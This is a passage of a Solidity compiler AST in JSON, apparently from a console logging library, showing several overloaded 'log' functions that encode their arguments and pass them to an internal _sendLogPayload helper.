memory"}],"expression":{"id":23403,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"63929:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23404,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"63933:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"63929:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23410,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63929:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23402,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"63913:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23411,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"63913:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23412,"nodeType":"ExpressionStatement","src":"63913:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"63834:3:14","parameters":{"id":23400,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23393,"mutability":"mutable","name":"p0","nameLocation":"63846:2:14","nodeType":"VariableDeclaration","scope":23414,"src":"63838:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23392,"name":"address","nodeType":"ElementaryTypeName","src":"63838:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23395,"mutability":"mutable","name":"p1","nameLocation":"63858:2:14","nodeType":"VariableDeclaration","scope":23414,"src":"63850:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23394,"name":"address","nodeType":"ElementaryTypeName","src":"63850:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23397,"mutability":"mutable","name":"p2","nameLocation":"63867:2:14","nodeType":"VariableDeclaration","scope":23414,"src":"63862:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23396,"name":"uint","nodeType":"ElementaryTypeName","src":"63862:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":23399,"mutability":"mutable","name":"p3","nameLocation":"63885:2:14","nodeType":"VariableDeclaration","scope":23414,"src":"63871:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23398,"name":"string","nodeType":"ElementaryTypeName","src":"63871:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"63837:51:14"},"returnParameters":{"id":23401,"nodeType":"ParameterList","parameters":[],"src":"63903:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23437,"nodeType":"FunctionDefinition","src":"64018:176:14","nodes":[],"body":{"id":23436,"nodeType":"Block","src":"64087:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c75696e742c626f6f6c29","id":23428,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"64137:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c2f688eccc5824e4375e54ae0df7ae9f757b0758319e26fa7dcc6a4450e1d411","typeString":"literal_string \"log(address,address,uint,bool)\""},"value":"log(address,address,uint,bool)"},{"id":23429,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23416,"src":"64171:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23430,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23418,"src":"64175:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23431,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23420,"src":"64179:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":23432,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23422,"src":"64183:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c2f688eccc5824e4375e54ae0df7ae9f757b0758319e26fa7dcc6a4450e1d411","typeString":"literal_string \"log(address,address,uint,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":23426,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"64113:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23427,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"64117:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"64113:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23433,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64113:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23425,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"64097:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23434,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64097:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23435,"nodeType":"ExpressionStatement","src":"64097:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"64027:3:14","parameters":{"id":23423,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23416,"mutability":"mutable","name":"p0","nameLocation":"64039:2:14","nodeType":"VariableDeclaration","scope":23437,"src":"64031:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23415,"name":"address","nodeType":"ElementaryTypeName","src":"64031:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23418,"mutability":"mutable","name":"p1","nameLocation":"64051:2:14","nodeType":"VariableDeclaration","scope":23437,"src":"64043:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23417,"name":"address","nodeType":"ElementaryTypeName","src":"64043:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23420,"mutability":"mutable","name":"p2","nameLocation":"64060:2:14","nodeType":"VariableDeclaration","scope":23437,"src":"64055:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23419,"name":"uint","nodeType":"ElementaryTypeName","src":"64055:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":23422,"mutability":"mutable","name":"p3","nameLocation":"64069:2:14","nodeType":"VariableDeclaration","scope":23437,"src":"64064:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23421,"name":"bool","nodeType":"ElementaryTypeName","src":"64064:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"64030:42:14"},"returnParameters":{"id":23424,"nodeType":"ParameterList","parameters":[],"src":"64087:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23460,"nodeType":"FunctionDefinition","src":"64200:182:14","nodes":[],"body":{"id":23459,"nodeType":"Block","src":"64272:110:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c75696e742c6164647265737329","id":23451,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"64322:35:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_d6c65276d9b81968c5dbc7d91412af8260979b88b9036d81153645629a214556","typeString":"literal_string \"log(address,address,uint,address)\""},"value":"log(address,address,uint,address)"},{"id":23452,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23439,"src":"64359:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23453,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23441,"src":"64363:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23454,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23443,"src":"64367:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":23455,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23445,"src":"64371:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d6c65276d9b81968c5dbc7d91412af8260979b88b9036d81153645629a214556","typeString":"literal_string \"log(address,address,uint,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":23449,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"64298:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23450,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"64302:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"64298:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23456,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64298:76:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23448,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"64282:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23457,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64282:93:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23458,"nodeType":"ExpressionStatement","src":"64282:93:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"64209:3:14","parameters":{"id":23446,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23439,"mutability":"mutable","name":"p0","nameLocation":"64221:2:14","nodeType":"VariableDeclaration","scope":23460,"src":"64213:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23438,"name":"address","nodeType":"ElementaryTypeName","src":"64213:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23441,"mutability":"mutable","name":"p1","nameLocation":"64233:2:14","nodeType":"VariableDeclaration","scope":23460,"src":"64225:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23440,"name":"address","nodeType":"ElementaryTypeName","src":"64225:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23443,"mutability":"mutable","name":"p2","nameLocation":"64242:2:14","nodeType":"VariableDeclaration","scope":23460,"src":"64237:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23442,"name":"uint","nodeType":"ElementaryTypeName","src":"64237:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":23445,"mutability":"mutable","name":"p3","nameLocation":"64254:2:14","nodeType":"VariableDeclaration","scope":23460,"src":"64246:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23444,"name":"address","nodeType":"ElementaryTypeName","src":"64246:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"64212:45:14"},"returnParameters":{"id":23447,"nodeType":"ParameterList","parameters":[],"src":"64272:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23483,"nodeType":"FunctionDefinition","src":"64388:187:14","nodes":[],"body":{"id":23482,"nodeType":"Block","src":"64466:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c737472696e672c75696e7429","id":23474,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"64516:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_04289300eaed00bb9d0d7894f7439ff06a8c4040945c0625e94f6f0c87fb11ba","typeString":"literal_string \"log(address,address,string,uint)\""},"value":"log(address,address,string,uint)"},{"id":23475,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23462,"src":"64552:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23476,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23464,"src":"64556:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23477,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23466,"src":"64560:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":23478,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23468,"src":"64564:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_04289300eaed00bb9d0d7894f7439ff06a8c4040945c0625e94f6f0c87fb11ba","typeString":"literal_string \"log(address,address,string,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":23472,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"64492:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23473,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"64496:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"64492:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23479,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64492:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23471,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"64476:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23480,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64476:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23481,"nodeType":"ExpressionStatement","src":"64476:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"64397:3:14","parameters":{"id":23469,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23462,"mutability":"mutable","name":"p0","nameLocation":"64409:2:14","nodeType":"VariableDeclaration","scope":23483,"src":"64401:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23461,"name":"address","nodeType":"ElementaryTypeName","src":"64401:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23464,"mutability":"mutable","name":"p1","nameLocation":"64421:2:14","nodeType":"VariableDeclaration","scope":23483,"src":"64413:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23463,"name":"address","nodeType":"ElementaryTypeName","src":"64413:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23466,"mutability":"mutable","name":"p2","nameLocation":"64439:2:14","nodeType":"VariableDeclaration","scope":23483,"src":"64425:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23465,"name":"string","nodeType":"ElementaryTypeName","src":"64425:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":23468,"mutability":"mutable","name":"p3","nameLocation":"64448:2:14","nodeType":"VariableDeclaration","scope":23483,"src":"64443:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23467,"name":"uint","nodeType":"ElementaryTypeName","src":"64443:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"64400:51:14"},"returnParameters":{"id":23470,"nodeType":"ParameterList","parameters":[],"src":"64466:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23506,"nodeType":"FunctionDefinition","src":"64581:198:14","nodes":[],"body":{"id":23505,"nodeType":"Block","src":"64668:111:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c737472696e672c737472696e6729","id":23497,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"64718:36:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_21bdaf25c85279ffda21e4e2b9f685ff585c62a37c0ebe7ae25670fd06df3aa1","typeString":"literal_string \"log(address,address,string,string)\""},"value":"log(address,address,string,string)"},{"id":23498,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23485,"src":"64756:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23499,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23487,"src":"64760:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23500,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23489,"src":"64764:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":23501,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23491,"src":"64768:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_21bdaf25c85279ffda21e4e2b9f685ff585c62a37c0ebe7ae25670fd06df3aa1","typeString":"literal_string \"log(address,address,string,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":23495,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"64694:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23496,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"64698:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"64694:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23502,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64694:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23494,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"64678:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23503,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64678:94:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23504,"nodeType":"ExpressionStatement","src":"64678:94:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"64590:3:14","parameters":{"id":23492,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23485,"mutability":"mutable","name":"p0","nameLocation":"64602:2:14","nodeType":"VariableDeclaration","scope":23506,"src":"64594:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23484,"name":"address","nodeType":"ElementaryTypeName","src":"64594:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23487,"mutability":"mutable","name":"p1","nameLocation":"64614:2:14","nodeType":"VariableDeclaration","scope":23506,"src":"64606:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23486,"name":"address","nodeType":"ElementaryTypeName","src":"64606:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23489,"mutability":"mutable","name":"p2","nameLocation":"64632:2:14","nodeType":"VariableDeclaration","scope":23506,"src":"64618:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23488,"name":"string","nodeType":"ElementaryTypeName","src":"64618:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":23491,"mutability":"mutable","name":"p3","nameLocation":"64650:2:14","nodeType":"VariableDeclaration","scope":23506,"src":"64636:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23490,"name":"string","nodeType":"ElementaryTypeName","src":"64636:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"64593:60:14"},"returnParameters":{"id":23493,"nodeType":"ParameterList","parameters":[],"src":"64668:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23529,"nodeType":"FunctionDefinition","src":"64785:187:14","nodes":[],"body":{"id":23528,"nodeType":"Block","src":"64863:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c737472696e672c626f6f6c29","id":23520,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"64913:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_6f1a594e70810560eaae5bbc82bc991f1120ac326ec142f6fb212682169447fd","typeString":"literal_string \"log(address,address,string,bool)\""},"value":"log(address,address,string,bool)"},{"id":23521,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23508,"src":"64949:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23522,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23510,"src":"64953:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23523,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23512,"src":"64957:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":23524,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23514,"src":"64961:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6f1a594e70810560eaae5bbc82bc991f1120ac326ec142f6fb212682169447fd","typeString":"literal_string \"log(address,address,string,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":23518,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"64889:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23519,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"64893:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"64889:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23525,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64889:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23517,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"64873:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23526,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64873:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23527,"nodeType":"ExpressionStatement","src":"64873:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"64794:3:14","parameters":{"id":23515,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23508,"mutability":"mutable","name":"p0","nameLocation":"64806:2:14","nodeType":"VariableDeclaration","scope":23529,"src":"64798:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23507,"name":"address","nodeType":"ElementaryTypeName","src":"64798:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23510,"mutability":"mutable","name":"p1","nameLocation":"64818:2:14","nodeType":"VariableDeclaration","scope":23529,"src":"64810:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23509,"name":"address","nodeType":"ElementaryTypeName","src":"64810:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23512,"mutability":"mutable","name":"p2","nameLocation":"64836:2:14","nodeType":"Variabl